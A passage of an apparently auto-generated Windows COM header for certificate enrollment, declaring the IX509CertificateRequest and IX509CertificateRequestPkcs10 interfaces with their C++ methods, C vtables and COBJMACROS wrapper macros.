/* [propget] */ HRESULT STDMETHODCALLTYPE get_Silent( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Silent( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ParentWindow( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ParentWindow( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UIContextMessage( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_UIContextMessage( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SuppressDefaults( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SuppressDefaults( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RenewalCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_RenewalCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ClientId( \n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_ClientId( \n            /* [in] */ RequestClientInfoClientId Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CspInformations( \n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_CspInformations( \n            /* [in] */ __RPC__in_opt ICspInformations *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_HashAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_HashAlgorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlternateSignatureAlgorithm( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_AlternateSignatureAlgorithm( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequest * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequest * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequest * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequest * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequest * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509CertificateRequestVtbl;\n\n    interface IX509CertificateRequest\n    {\n        CONST_VTBL struct IX509CertificateRequestVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequest_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequest_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequest_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequest_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequest_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequest_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequest_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequest_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequest_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequest_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequest_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequest_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequest_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequest_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequest_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequest_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequest_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequest_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequest_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequest_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequest_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequest_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequest_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequest_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequest_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequest_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequest_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequest_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequest_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequest_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequest_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequest_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequest_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0076 */\n/* [local] */ \n\ntypedef \nenum Pkcs10AllowedSignatureTypes\n    {\n        AllowedKeySignature\t= 0x1,\n        AllowedNullSignature\t= 0x2\n    } \tPkcs10AllowedSignatureTypes;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0076_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0076_v0_0_s_ifspec;\n\n#ifndef __IX509CertificateRequestPkcs10_INTERFACE_DEFINED__\n#define __IX509CertificateRequestPkcs10_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestPkcs10 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestPkcs10;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab342-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestPkcs10 : public IX509CertificateRequest\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplateName( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromPrivateKey( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromPublicKey( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCertificate( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions = InheritDefault) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CheckSignature( \n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes = AllowedKeySignature) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE IsSmartCard( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TemplateObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PublicKey( \n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_PrivateKey( \n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NullSigned( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ReuseKey( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_OldCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Subject( \n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_Subject( \n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CspStatuses( \n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_SmimeCapabilities( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_SmimeCapabilities( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignatureInformation( \n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_KeyContainerNamePrefix( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_KeyContainerNamePrefix( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CryptAttributes( \n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_X509Extensions( \n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CriticalExtensions( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SuppressOids( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawDataToBeSigned( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Signature( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCspStatuses( \n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestPkcs10Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestPkcs10 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestPkcs10 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestPkcs10 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestPkcs10 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestPkcs10 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            